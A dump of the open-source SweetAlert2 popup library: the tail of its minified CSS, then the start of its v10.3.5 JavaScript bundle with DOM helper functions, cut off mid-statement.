#eee;color:#545454;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;height:.25em;overflow:hidden;border-bottom-right-radius:.3125em;border-bottom-left-radius:.3125em}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:1.25em auto}.swal2-close{position:absolute;z-index:2;top:0;right:0;align-items:center;justify-content:center;width:1.2em;height:1.2em;padding:0;overflow:hidden;transition:color .1s ease-out;border:none;border-radius:0;background:0 0;color:#ccc;font-family:serif;font-size:2.5em;line-height:1.2;cursor:pointer}.swal2-close:hover{transform:none;background:0 0;color:#f27474}.swal2-close::-moz-focus-inner{border:0}.swal2-content{z-index:1;justify-content:center;margin:0;padding:0 1.6em;color:#545454;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word}.swal2-checkbox,.swal2-file,.swal2-input,.swal2-radio,.swal2-select,.swal2-textarea{margin:1em auto}.swal2-file,.swal2-input,.swal2-textarea{box-sizing:border-box;width:100%;transition:border-color .3s,box-shadow .3s;border:1px solid #d9d9d9;border-radius:.1875em;background:inherit;box-shadow:inset 0 1px 1px rgba(0,0,0,.06);color:inherit;font-size:1.125em}.swal2-file.swal2-inputerror,.swal2-input.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-file:focus,.swal2-input:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:0;box-shadow:0 0 3px #c4e6f5}.swal2-file::-moz-placeholder,.swal2-input::-moz-placeholder,.swal2-textarea::-moz-placeholder{color:#ccc}.swal2-file:-ms-input-placeholder,.swal2-input:-ms-input-placeholder,.swal2-textarea:-ms-input-placeholder{color:#ccc}.swal2-file::-ms-input-placeholder,.swal2-input::-ms-input-placeholder,.swal2-textarea::-ms-input-placeholder{color:#ccc}.swal2-file::placeholder,.swal2-input::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em auto;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-input[type=number]{max-width:10em}.swal2-file{background:inherit;font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:inherit;color:inherit;font-size:1.125em}.swal2-checkbox,.swal2-radio{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-checkbox label,.swal2-radio label{margin:0 .6em;font-size:1.125em}.swal2-checkbox input,.swal2-radio input{margin:0 .4em}.swal2-validation-message{display:none;align-items:center;justify-content:center;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:1.25em auto 1.875em;border:.25em solid transparent;border-radius:50%;font-family:inherit;line-height:5em;cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{-webkit-animation:swal2-animate-error-icon .5s;animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{-webkit-animation:swal2-animate-error-x-mark .5s;animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-animate-success-line-tip .75s;animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-animate-success-line-long .75s;animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{-webkit-animation:swal2-rotate-success-circular-line 4.25s ease-in;animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{align-items:center;margin:0 0 1.25em;padding:0;background:inherit;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;width:2em;height:2em;border-radius:2em;background:#3085d6;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#3085d6}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;width:2.5em;height:.4em;margin:0 -1px;background:#3085d6}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{-webkit-animation:swal2-show .3s;animation:swal2-show .3s}.swal2-hide{-webkit-animation:swal2-hide .15s forwards;animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{right:auto;left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@supports (-ms-accelerator:true){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@-moz-document url-prefix(){.swal2-close:focus{outline:2px solid rgba(50,100,150,.4)}}@-webkit-keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@-webkit-keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@-webkit-keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@-webkit-keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@-webkit-keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@-webkit-keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@-webkit-keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@-webkit-keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@-webkit-keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@-webkit-keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@-webkit-keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@-webkit-keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{top:auto;right:auto;bottom:auto;left:auto;max-width:calc(100% - .625em * 2);background-color:transparent!important}body.swal2-no-backdrop .swal2-container>.swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}body.swal2-no-backdrop .swal2-container.swal2-top{top:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-top-left,body.swal2-no-backdrop .swal2-container.swal2-top-start{top:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-top-end,body.swal2-no-backdrop .swal2-container.swal2-top-right{top:0;right:0}body.swal2-no-backdrop .swal2-container.swal2-center{top:50%;left:50%;transform:translate(-50%,-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-left,body.swal2-no-backdrop .swal2-container.swal2-center-start{top:50%;left:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-end,body.swal2-no-backdrop .swal2-container.swal2-center-right{top:50%;right:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom{bottom:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom-left,body.swal2-no-backdrop .swal2-container.swal2-bottom-start{bottom:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-bottom-end,body.swal2-no-backdrop .swal2-container.swal2-bottom-right{right:0;bottom:0}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{background-color:transparent}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-left,body.swal2-toast-shown .swal2-container.swal2-top-start{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-left,body.swal2-toast-shown .swal2-container.swal2-center-start{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-left,body.swal2-toast-shown .swal2-container.swal2-bottom-start{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}body.swal2-toast-column .swal2-toast{flex-direction:column;align-items:stretch}body.swal2-toast-column .swal2-toast .swal2-actions{flex:1;align-self:stretch;height:2.2em;margin-top:.3125em}body.swal2-toast-column .swal2-toast .swal2-loading{justify-content:center}body.swal2-toast-column .swal2-toast .swal2-input{height:2em;margin:.3125em auto;font-size:1em}body.swal2-toast-column .swal2-toast .swal2-validation-message{font-size:1em}sweetalert2.all.js000064400000403234151735567630010142 0ustar00/*! * sweetalert2 v10.3.5 * Released under the MIT License. */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global = global || self, global.Sweetalert2 = factory()); }(this, function () { 'use strict'; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function (obj) { return typeof obj; }; } else { _typeof = function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } function _construct(Parent, args, Class) { if (_isNativeReflectConstruct()) { _construct = Reflect.construct; } else { _construct = function _construct(Parent, args, Class) { var a = [null]; a.push.apply(a, args); var Constructor = Function.bind.apply(Parent, a); var instance = new Constructor(); if (Class) _setPrototypeOf(instance, Class.prototype); return instance; }; } return _construct.apply(null, arguments); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _possibleConstructorReturn(self, call) { if (call && (typeof call === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } var consolePrefix = 'SweetAlert2:'; /** * Filter the unique values into a new array * @param arr */ var uniqueArray = function uniqueArray(arr) { var result = []; for (var i = 0; i < arr.length; i++) { if (result.indexOf(arr[i]) === -1) { result.push(arr[i]); } } return result; }; /** * Capitalize the first letter of a string * @param str */ var capitalizeFirstLetter = function capitalizeFirstLetter(str) { return str.charAt(0).toUpperCase() + str.slice(1); }; /** * Returns the array of object values (Object.values isn't supported in IE11) * @param obj */ var objectValues = function objectValues(obj) { return Object.keys(obj).map(function (key) { return obj[key]; }); }; /** * Convert NodeList to Array * @param nodeList */ var toArray = function toArray(nodeList) { return Array.prototype.slice.call(nodeList); }; /** * Standardise console warnings * @param message */ var warn = function warn(message) { console.warn("".concat(consolePrefix, " ").concat(message)); }; /** * Standardise console errors * @param message */ var error = function error(message) { console.error("".concat(consolePrefix, " ").concat(message)); }; /** * Private global state for `warnOnce` * @type {Array} * @private */ var previousWarnOnceMessages = []; /** * Show a console warning, but only if it hasn't already been shown * @param message */ var warnOnce = function warnOnce(message) { if (!(previousWarnOnceMessages.indexOf(message) !== -1)) { previousWarnOnceMessages.push(message); warn(message); } }; /** * Show a one-time console warning about deprecated params/methods */ var warnAboutDeprecation = function warnAboutDeprecation(deprecatedParam, useInstead) { warnOnce("\"".concat(deprecatedParam, "\" is deprecated and will be removed in the next major release. Please use \"").concat(useInstead, "\" instead.")); }; /** * If `arg` is a function, call it (with no arguments or context) and return the result. * Otherwise, just pass the value through * @param arg */ var callIfFunction = function callIfFunction(arg) { return typeof arg === 'function' ? arg() : arg; }; var hasToPromiseFn = function hasToPromiseFn(arg) { return arg && typeof arg.toPromise === 'function'; }; var asPromise = function asPromise(arg) { return hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg); }; var isPromise = function isPromise(arg) { return arg && Promise.resolve(arg) === arg; }; var DismissReason = Object.freeze({ cancel: 'cancel', backdrop: 'backdrop', close: 'close', esc: 'esc', timer: 'timer' }); var isJqueryElement = function isJqueryElement(elem) { return _typeof(elem) === 'object' && elem.jquery; }; var isElement = function isElement(elem) { return elem instanceof Element || isJqueryElement(elem); }; var argsToParams = function argsToParams(args) { var params = {}; if (_typeof(args[0]) === 'object' && !isElement(args[0])) { _extends(params, args[0]); } else { ['title', 'html', 'icon'].forEach(function (name, index) { var arg = args[index]; if (typeof arg === 'string' || isElement(arg)) { params[name] = arg; } else if (arg !== undefined) { error("Unexpected type of ".concat(name, "! Expected \"string\" or \"Element\", got ").concat(_typeof(arg))); } }); } return params; }; var swalPrefix = 'swal2-'; var prefix = function prefix(items) { var result = {}; for (var i in items) { result[items[i]] = swalPrefix + items[i]; } return result; }; var swalClasses = prefix(['container', 'shown', 'height-auto', 'iosfix', 'popup', 'modal', 'no-backdrop', 'no-transition', 'toast', 'toast-shown', 'toast-column', 'show', 'hide', 'close', 'title', 'header', 'content', 'html-container', 'actions', 'confirm', 'deny', 'cancel', 'footer', 'icon', 'icon-content', 'image', 'input', 'file', 'range', 'select', 'radio', 'checkbox', 'label', 'textarea', 'inputerror', 'validation-message', 'progress-steps', 'active-progress-step', 'progress-step', 'progress-step-line', 'loader', 'loading', 'styled', 'top', 'top-start', 'top-end', 'top-left', 'top-right', 'center', 'center-start', 'center-end', 'center-left', 'center-right', 'bottom', 'bottom-start', 'bottom-end', 'bottom-left', 'bottom-right', 'grow-row', 'grow-column', 'grow-fullscreen', 'rtl', 'timer-progress-bar', 'timer-progress-bar-container', 'scrollbar-measure', 'icon-success', 'icon-warning', 'icon-info', 'icon-question', 'icon-error']); var iconTypes = prefix(['success', 'warning', 'info', 'question', 'error']); var getContainer = function getContainer() { return document.body.querySelector(".".concat(swalClasses.container)); }; var elementBySelector = function elementBySelector(selectorString) { var container = getContainer(); return container ? container.querySelector(selectorString) : null; }; var elementByClass = function elementByClass(className) { return elementBySelector(".".concat(className)); }; var getPopup = function getPopup() { return elementByClass(swalClasses.popup); }; var getIcons = function getIcons() { var popup = getPopup(); return toArray(popup.querySelectorAll(".".concat(swalClasses.icon))); }; var getIcon = function getIcon() { var visibleIcon = getIcons().filter(function (icon) { return isVisible(icon); }); return visibleIcon.length ? visibleIcon[0] : null; }; var getTitle = function getTitle() { return elementByClass(swalClasses.title); }; var getContent = function getContent() { return elementByClass(swalClasses.content); }; var getHtmlContainer = function getHtmlContainer() { return elementByClass(swalClasses['html-container']); }; var getImage = function getImage() { return elementByClass(swalClasses.image); }; var getProgressSteps = function getProgressSteps() { return elementByClass(swalClasses['progress-steps']); }; var getValidationMessage = function getValidationMessage() { return elementByClass(swalClasses['validation-message']); }; var getConfirmButton = function getConfirmButton() { return elementBySelector(".".concat(swalClasses.actions, " .").concat(swalClasses.confirm)); }; var getDenyButton = function getDenyButton() { return elementBySelector(".".concat(swalClasses.actions, " .").concat(swalClasses.deny)); }; var getLoader = function getLoader() { return elementBySelector(".".concat(swalClasses.loader)); }; var getCancelButton = function getCancelButton() { return elementBySelector(".".concat(swalClasses.actions, " .").concat(swalClasses.cancel)); }; var getActions = function getActions() { return elementByClass(swalClasses.actions); }; var getHeader = function getHeader() { return elementByClass(swalClasses.header); }; var getFooter = function getFooter() { return elementByClass(swalClasses.footer); }; var getTimerProgressBar = function getTimerProgressBar() { return elementByClass(swalClasses['timer-progress-bar']); }; var getCloseButton = function getCloseButton() { return elementByClass(swalClasses.close); }; // https://github.com/jkup/focusable/blob/master/index.js var focusable = "\n a[href],\n area[href],\n input:not([disabled]),\n select:not([disabled]),\n textarea:not([disabled]),\n button:not([disabled]),\n iframe,\n object,\n embed,\n [tabindex=\"0\"],\n [contenteditable],\n audio[controls],\n video[controls],\n summary\n"; var getFocusableElements = function getFocusableElements() { var focusableElementsWithTabindex = toArray(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')) // sort according to tabindex .sort(function (a, b) { a = parseInt(a.getAttribute('tabindex')); b = parseInt(b.getAttribute('tabindex')); if (a > b) { return 1; } else if (a < b) { return -1; } return 0; }); var otherFocusableElements = toArray(getPopup().querySelectorAll(focusable)).filter(function (el) { return el.getAttribute('tabindex') !== '-1'; }); return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter(function (el) { return isVisible(el); }); }; var isModal = function isModal() { return !isToast() && !document.body.classList.contains(swalClasses['no-backdrop']); }; var isToast = function isToast() { return document.body.classList.contains(swalClasses['toast-shown']); }; var isLoading = function isLoading() { return getPopup().hasAttribute('data-loading'); }; var states = { previousBodyPadding: null }; var setInnerHtml = function setInnerHtml(elem, html) { // #1926 elem.textContent = ''; if (html) { var parser = new DOMParser(); var parsed = parser.parseFromString(html, "text/html"); toArray(parsed.querySelector('head').childNodes).forEach(function (child) { elem.appendChild(child); }); toArray(parsed.querySelector('body').childNodes).forEach(function (child) { elem.appendChild(child); }); } }; var hasClass = function hasClass(elem, className) { if (!className) { return false; } var classList = className.split(/\s+/); for (var i = 0; i < classList.length; i++) { if (!elem.classList.contains(classList[i])) { return false; } } return true; }; var removeCustomClasses = function removeCustomClasses(elem, params) { toArray(elem.classList).forEach(function (className) { if (!(objectValues(swalClasses).indexOf(className) !== -1) && !(objectValues(iconTypes).indexOf(className) !== -1) && !(objectValues(params.showClass).indexOf(className) !== -1)) { elem.classList.remove(className); } }); }; var applyCustomClass = function applyCustomClass(elem, params, className) { removeCustomClasses(elem, params); if (params.customClass && params.customClass[className]) { if (typeof params.customClass[className] !== 'string' && !params.customClass[className].forEach) { return warn("Invalid type of customClass.".concat(className, "! Expected string or iterable object, got \"").concat(_typeof(params.customClass[className]), "\"")); } addClass(elem, params.customClass[className]); } }; function getInput(content, inputType) { if (!inputType) { return null; } switch (inputType) { case 'select': case 'textarea': case 'file': return getChildByClass(content, swalClasses[inputType]); case 'checkbox': return content.querySelector(".".concat(swalClasses.checkbox, " input")); case 'radio': return content.querySelector(".".concat(swalClasses.radio, " input:checked")) || content.querySelector(".".concat(swalClasses.radio, " input:first-child")); case 'range': return content.querySelector(".".concat(swalClasses.range, " input")); default: return getChildByClass(content, swalClasses.input); } } var focusInput = function focusInput(input) { input.focus(); // place cursor at end of text in text input if (input.type !== 'file') { // http://stackoverflow.com/a/2345915 var val = input.value; input.value = ''; input.value = val; } }; var toggleClass = function toggleClass(target, classList, condition) { if (!target || !classList) { return; } if (typeof classList === 'string') { classList = classList.split(/\s+/).filter(Boolean); } classList.forEach(function (className) { if (target.forEach) { target.forEach(function (elem) { condition ? elem.classList.add(className) : elem.classList.remove(className); }); } else { condition ? target.classList.add(className) : target.classList.remove(className); } }); }; var addClass = function addClass(target, classList) { toggleClass(target, classList, true); }; var removeClass = function removeClass(target, classList) { toggleClass(target, classList, false); }; var getChildByClass = function getChildByClass(elem, className) { for (var i = 0; i < elem.childNodes.length; i++) { if (hasClass(elem.childNodes[i], className)) { return elem.childNodes[i]; } } }; var applyNumericalStyle = function applyNumericalStyle(elem, property, value) { if (value || parseInt(value) === 0) { elem.style[property] = typeof value === 'number' ? "".concat(value, "px") : value; } else { elem.style.removeProperty(property); } }; var show = function show(elem) { var display = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'flex'; elem.style.display = display; }; var hide = function hide(elem) { elem.style.display = 'none'; }; var setStyle = function setStyle(parent, selector, property, value) { var el = parent.querySelector(selector); if (el) { el.style[property] = value; } }; var toggle = function toggle(elem, condition, display) { condition ? show(elem, display) : hide(elem); }; // borrowed from jquery $(elem).is(':visible') implementation var isVisible = function isVisible(elem) { return !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length)); }; /* istanbul ignore next */ var isScrollable = function isScrollable(elem) { return !!(elem.scrollHeight > elem.clientHeight); }; // borrowed from https://stackoverflow.com/a/46352119 var hasCssAnimation = function hasCssAnimation(elem) { var style = window.getComputedStyle(elem); var animDuration = parseFloat(style.getPropertyValue('animation-duration') || '0'); var transDuration = parseFloat(style.getPropertyValue('transition-duration') || '0'); return animDuration > 0 || transDuration > 0; }; var contains = function contains(haystack, needle) { if (typeof haystack.contains === 'function') { return haystack.contains(needle); } }; var animateTimerProgressBar = function animateTimerProgressBar(timer) { var reset = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var timerProgressBar = getTimerProgressBar(); if (isVisible(timerProgressBar)) { if (reset) { timerProgressBar.style.transition = 'none'; timerProgressBar.style.width = '100%'; } setTimeout(function () { timerProgressBar.style.transition = "width ".concat(timer / 1000, "s linear"); timerProgressBar.style.width = '0%'; }, 10); } }; var stopTimerProgressBar = function stopTimerProgressBar() { var timerProgressBar = getTimerProgressBar(); var timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width); timerProgressBar.style.removeProperty('transition'); timerProgressBar.style.width = '100%'; var timerProgressBarFullWidth = 